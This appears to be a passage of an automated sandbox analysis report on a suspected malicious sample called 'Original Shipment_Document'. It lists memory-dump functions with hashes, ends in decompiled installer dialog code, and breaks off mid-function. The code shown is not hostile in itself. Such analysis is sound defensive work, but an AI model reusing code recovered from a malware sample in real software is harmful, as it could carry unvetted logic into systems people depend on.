Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df118ccf42dbeafdb7df3d27cdaabce2a749638ecb3488d95faf476aee018856
Instruction ID: 37aebe101579327bfb2effde199e8097c11937b90cf7f9fb7330f126415701b1
Opcode Fuzzy Hash: df118ccf42dbeafdb7df3d27cdaabce2a749638ecb3488d95faf476aee018856
Instruction Fuzzy Hash: 5861FC06D3F729C8EB83B2B185557E51A80CF270C1F618B568C2A729E6376E09DB05E8

Uniqueness

Uniqueness Score: -1.00%

Function 03281C18 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a382684ea5a75123cb73634229bac6e9729affadd9c274e6c4bf38693f5e61cf
Instruction ID: 9170a9ac30699ac2ff2e2a4314e98d4da95bc8a24ea7653dd4b2458137ab160c
Opcode Fuzzy Hash: a382684ea5a75123cb73634229bac6e9729affadd9c274e6c4bf38693f5e61cf
Instruction Fuzzy Hash: 5D611E56E3F326C9EA53B6B4C5513E55580DF27081F528F2B8C26729E6379B0ACF04C8

Uniqueness

Uniqueness Score: -1.00%

Function 032810DE Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b51cd677628671d1f60259a6076cec11645eb9696b7d714dc06e1d099a7e5d
Instruction ID: 713d69c0c3b16d75124f1e2bc0e04fcbf1c1e656ec5fce0a5efa27a474ac8222
Opcode Fuzzy Hash: c5b51cd677628671d1f60259a6076cec11645eb9696b7d714dc06e1d099a7e5d
Instruction Fuzzy Hash: E7514216E3F326C8EB93B27185957F51A80DF174C1F614B1B8C3A729E233AE19DB0598

Uniqueness

Uniqueness Score: -1.00%

Function 03281CCC Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dea8191f1281a7aae7bc2a16c2ddb887619cfc3aad77bbb6bab7c3d1e80812da
Instruction ID: 97603375b8cf972c9b8b03930a00c4e59ee5bd79dc3873093fae4f315282081a
Opcode Fuzzy Hash: dea8191f1281a7aae7bc2a16c2ddb887619cfc3aad77bbb6bab7c3d1e80812da
Instruction Fuzzy Hash: 85513056E3F326C9EA93B6B485403E9A580DF27081F528F274C27729E6775B09CF04C4

Uniqueness

Uniqueness Score: -1.00%

Function 03289A50 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35d3a9302a7ba67190ae084b50cd115dfb1860fa7165de5d149d09a7da4b0fe
Instruction ID: fc24747a67d132b0708e0b2c7a6eaec7f756a4fa9767684f5cb6af5097efe3ad
Opcode Fuzzy Hash: d35d3a9302a7ba67190ae084b50cd115dfb1860fa7165de5d149d09a7da4b0fe
Instruction Fuzzy Hash: 93A122726083569FCB35DF6888943DA37B2FF56360FA4817ECC8A9B655D3314A82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 03281112 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81e09bbbee667f7b9c1d472590a1ed61a5f8347a647f04cee6adaa48699f462
Instruction ID: 83b927787b058f7a020f485d14b521dab4c93c36173390a4bb176664fdaaa23b
Opcode Fuzzy Hash: c81e09bbbee667f7b9c1d472590a1ed61a5f8347a647f04cee6adaa48699f462
Instruction Fuzzy Hash: FB514206D3F325C8EB93B27185957F52A81DF270C1F614B1B9C3A72DD623AE09DB0198

Uniqueness

Uniqueness Score: -1.00%

Function 032811BD Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f28a7c5826fe26f41c2954f398f3b84ddbd938f31ace2012c78729d25dd525d
Instruction ID: 4bd82142ef15eb29088f497c03a9effad4c3b750b69975b250923f5ce901fe06
Opcode Fuzzy Hash: 8f28a7c5826fe26f41c2954f398f3b84ddbd938f31ace2012c78729d25dd525d
Instruction Fuzzy Hash: 58512006D7F325C8EB53B6B185953F52680DF270C1F514B1B9C3A72DD127AE09CB0159

Uniqueness

Uniqueness Score: -1.00%

Function 0328117F Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6135dfac455e7f939093359460094f8cc273e55f1a44fe44e6d19bfbd350991
Instruction ID: 7c4136e4cc1db64db3597db683350f7103a9c3289ce65838a02ea6392b9d2c08
Opcode Fuzzy Hash: a6135dfac455e7f939093359460094f8cc273e55f1a44fe44e6d19bfbd350991
Instruction Fuzzy Hash: 04514016E3F325C9EB93B27180957F42A80DF270C1F614B1B8C3A72DE527AE09CB0199

Uniqueness

Uniqueness Score: -1.00%

Function 03289B38 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1901d7556f0c3b8e0dc87846f57098b3fc213c10723f345c740c19d8f07486
Instruction ID: d2e7b0859f97562fa5c0fbc4acca8f9824da5214ce52b5bf3b3caeed14772c46
Opcode Fuzzy Hash: fd1901d7556f0c3b8e0dc87846f57098b3fc213c10723f345c740c19d8f07486
Instruction Fuzzy Hash: F98111726043568FCB359E7888943DA3BB2FF56360FA4417ECC8ADBA45D3324682CB41

Uniqueness

Uniqueness Score: -1.00%

Function 032811ED Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac7aa91f1626159bffef2178dd6c328a90b81e94ffaf20042952f933b2dcd747
Instruction ID: 2625f7699eeed0ac0171269c4f83c3614a7f2e5907cc0fa06ea41472f2afce10
Opcode Fuzzy Hash: ac7aa91f1626159bffef2178dd6c328a90b81e94ffaf20042952f933b2dcd747
Instruction Fuzzy Hash: 59513205D3F325C9EB53B3B441523FA2A40CF27081F904B5B8C7632AD5676D09DB02DA

Uniqueness

Uniqueness Score: -1.00%

Function 0328122D Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a12466fbeb809ee151fe368aa916c563156787aa516b2d229b835a15da0ac30b
Instruction ID: b8b4dea98dfbc428d765ccef6267262cf48fd7da2259f5c7356a569b9c3dcb1f
Opcode Fuzzy Hash: a12466fbeb809ee151fe368aa916c563156787aa516b2d229b835a15da0ac30b
Instruction Fuzzy Hash: 61412E05E3F72AC9EB53B2B085923F52680DF2B0C1F518B1B9C3632ED127AE09CB0155

Uniqueness

Uniqueness Score: -1.00%

Function 0328127B Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 927060c9a6fa36aa2a05be8bef572e7be524e013b6af4eb9d7993e96f7a7e98c
Instruction ID: 566530df48a0ef003fe77b967ff077b2460a832d220a8d6f8e9bb486e0735466
Opcode Fuzzy Hash: 927060c9a6fa36aa2a05be8bef572e7be524e013b6af4eb9d7993e96f7a7e98c
Instruction Fuzzy Hash: 6A411D19E3F729C9FB63B6B185923F52681DF270C1F914B1B9C2632ED127AE09CB0156

Uniqueness

Uniqueness Score: -1.00%

Function 03282731 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4213bbead7704a1efc1a2e72c37710abf681b67b4b9278e9c46d92f58a7ee86
Instruction ID: 26a510a15f8fd99aaab6330c001055badb6fa78e72fb72de3a8448432df3f99d
Opcode Fuzzy Hash: f4213bbead7704a1efc1a2e72c37710abf681b67b4b9278e9c46d92f58a7ee86
Instruction Fuzzy Hash: B05168306243038FEF18EE3585A93E63792AF59185F9986AFCC864F252EB25C4C7C745

Uniqueness

Uniqueness Score: -1.00%

Function 032812B1 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91132e16750d6e40353b6f3792762d61215b9c56369f49864d031a376dd61d21
Instruction ID: affdf04b3dac55bcbebbe61643345d469b6b12e098445f7aa31fd7e6db9d1ada
Opcode Fuzzy Hash: 91132e16750d6e40353b6f3792762d61215b9c56369f49864d031a376dd61d21
Instruction Fuzzy Hash: B141F019D3F729C9FB53B6B185A23E52681DF270C1F914B1B9C2632ED127AE09CB0155

Uniqueness

Uniqueness Score: -1.00%

Function 03281329 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e23022eea072e06629b1a85f52381437cb829f75239f21e554ff5cadb4adb8
Instruction ID: 0b75edfb083a3c056e888c942c4f85b2d287606d4d8e01833b5c2191e509832f
Opcode Fuzzy Hash: 67e23022eea072e06629b1a85f52381437cb829f75239f21e554ff5cadb4adb8
Instruction Fuzzy Hash: C4411019E3F339C9EB53B6B586A27F52681CF270C1FA14B178C6672ED1239E09C70156

Uniqueness

Uniqueness Score: -1.00%

Function 03281365 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cf47674aa5b10a810e8d548acbfd6b647435084b6948c6645023b54e65691c5
Instruction ID: e21003d84c6339650295f7eb25b3527f2035b8935cf2e64869eafe7a96ef4a7f
Opcode Fuzzy Hash: 7cf47674aa5b10a810e8d548acbfd6b647435084b6948c6645023b54e65691c5
Instruction Fuzzy Hash: 85412F19D3F339C9EB52B6B486A23F52680DF2B080FA14F1B8C6632AD1279E09C70116

Uniqueness

Uniqueness Score: -1.00%

Function 03289674 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78948959ceb82188701ede5ff37a14e76fb19bdd3a5ed8851985b9c0341df8ed
Instruction ID: 408cff9d552c81cfeb9463f31846de4f4fddfde18ad205cb746db879a0048153
Opcode Fuzzy Hash: 78948959ceb82188701ede5ff37a14e76fb19bdd3a5ed8851985b9c0341df8ed
Instruction Fuzzy Hash: 6D5198B56103058FEB24EF36CD88BEA77A6BF59350F51816ADC498B268D730C9C6CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03289C19 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 382f457cabce77509564d4d0641b737dea640a93f28e8655573574e2c4839db3
Instruction ID: de19530ffac46e7e8d05fd31801dfaca6fa3c22e42cd27cc01cc888885bf2d14
Opcode Fuzzy Hash: 382f457cabce77509564d4d0641b737dea640a93f28e8655573574e2c4839db3
Instruction Fuzzy Hash: CB5143721083568FCB359F38C9953DA3BB1FF16360FA5417ACC9A9BA56D3324682CB41

Uniqueness

Uniqueness Score: -1.00%

Function 03289F60 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3db3986f0106c33ac5ddb5ac07820d523c4cf1c52d02e34d70146df4d846384
Instruction ID: 75fdfc079dde154bd760175028d0a8e819de6de6b79cfb9f056739d1ebab22a9
Opcode Fuzzy Hash: a3db3986f0106c33ac5ddb5ac07820d523c4cf1c52d02e34d70146df4d846384
Instruction Fuzzy Hash: 474113726547468FDB24EF28CC84BDA77F2FF457A0F85407ADC8A9B280D3708A818744

Uniqueness

Uniqueness Score: -1.00%

Function 0329246F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2284f0f1352c3e90cba51a10735ddace45f9be464e04efe3cf527590404260a
Instruction ID: 051f2e44c8291cf99ff55cc009ab38d145366e0ac9305ab7c4e5ad0566878b6c
Opcode Fuzzy Hash: d2284f0f1352c3e90cba51a10735ddace45f9be464e04efe3cf527590404260a
Instruction Fuzzy Hash: FF319F365147899BEF28DE39CCA87EB77A3AF452A0F85546BCCC68F185D3328145C301

Uniqueness

Uniqueness Score: -1.00%

Function 03289D34 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d170abe730a96cde6d82f2a572213994bbef40bbaabe282d67cda7e7a1c278a
Instruction ID: 3f45714b0dfe46eecc105ede05be7fb965ec76dfcf3bb88a9ebb01bbcde5d063
Opcode Fuzzy Hash: 3d170abe730a96cde6d82f2a572213994bbef40bbaabe282d67cda7e7a1c278a
Instruction Fuzzy Hash: BF41D0721083638FDB759F3489557DA3BB2FF12364FA1406ACCA69A956D3324683CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0328A020 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c9f1bcc62b2edc97ce238f4e22c754fd6648ee16e50c5fdcf423d5785c0130c
Instruction ID: e8fdc4b1eeb5f61491c22f74864dba8e1bfffd51c16072e05ff81d2d72a04cf9
Opcode Fuzzy Hash: 4c9f1bcc62b2edc97ce238f4e22c754fd6648ee16e50c5fdcf423d5785c0130c
Instruction Fuzzy Hash: 7631BC712947468BDB24EF29CC94BEA77F2EF457A0F85407ADC8A9B280C7748A85C644

Uniqueness

Uniqueness Score: -1.00%

Function 032909E1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74e8273d9a38eff8062cb901a8e6df9bda0e42bcf4e7a2e6a1126a18682ebb22
Instruction ID: c553fe139ffa710adf3fa036a2c05252028ac87824b84da502b8e463d7594afc
Opcode Fuzzy Hash: 74e8273d9a38eff8062cb901a8e6df9bda0e42bcf4e7a2e6a1126a18682ebb22
Instruction Fuzzy Hash: 67115E3521838D9FEF34CF18C984BDA73B6AF15B40F49846ACD498B221D3719E80CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0328D205 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b919014c5ba2475baa8a813e3a3563104d50f0d31f226d429d14644944cefc79
Instruction ID: a026a310f9d08bb1d858143eb29fddbf5fc3d9bc52f9beb0b7c2352c6f2dcf67
Opcode Fuzzy Hash: b919014c5ba2475baa8a813e3a3563104d50f0d31f226d429d14644944cefc79
Instruction Fuzzy Hash: CDB002B66515819FEF56DB08D591B4073A4FB55648B0904D0E412DB712D224E910CA04

Uniqueness

Uniqueness Score: -1.00%

Function 0328FD64 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, Offset: 03280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3280000_Original Shipment_Document.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231e68a50b79eb31b1a0ec2b14dfb0bb3a7acceaa078fd274f4869f3cb8372e7
Instruction ID: 6fe1c0b8f6f110e2f31e25b990c38a3a809314dbd30cd5467e2f7c35f322ae07
Opcode Fuzzy Hash: 231e68a50b79eb31b1a0ec2b14dfb0bb3a7acceaa078fd274f4869f3cb8372e7
Instruction Fuzzy Hash: AEB002797526408FD655CE1AC190F4173B5BB44A51F415494E81187B15D764E9009910

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED0 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404ED0(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x42a248;
				_v28 =  *0x42a230 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x42a239 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404E1E(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x42a238) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x4236ec;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x423700;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x4236ec = 0;
								 *0x423700 = 0;
								 *0x42a280 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42a239 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404E9E();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x423700;
									_t201 =  *0x42a248;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42a24c <= 0) {
										L86:
										if( *0x42a2de == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x4291fc + 0x10)) != 0) {
											E00404DD9(0x3ff, 0xfffffffb, E00404DF1(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x42a24c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x423700);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x42a280 = _t291;
					 *0x423700 = GlobalAlloc(0x40,  *0x42a24c << 2);
					_t258 = LoadImageW( *0x42a220, 0x6e, 0, 0, 0, 0);
					 *0x4236f4 =  *0x4236f4 | 0xffffffff;
					_t297 = _t258;
					 *0x4236fc = SetWindowLongW(_v8, 0xfffffffc, E004054DD);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x4236ec = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x4236ec);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E00406544(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404463(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404463(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x42a24c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
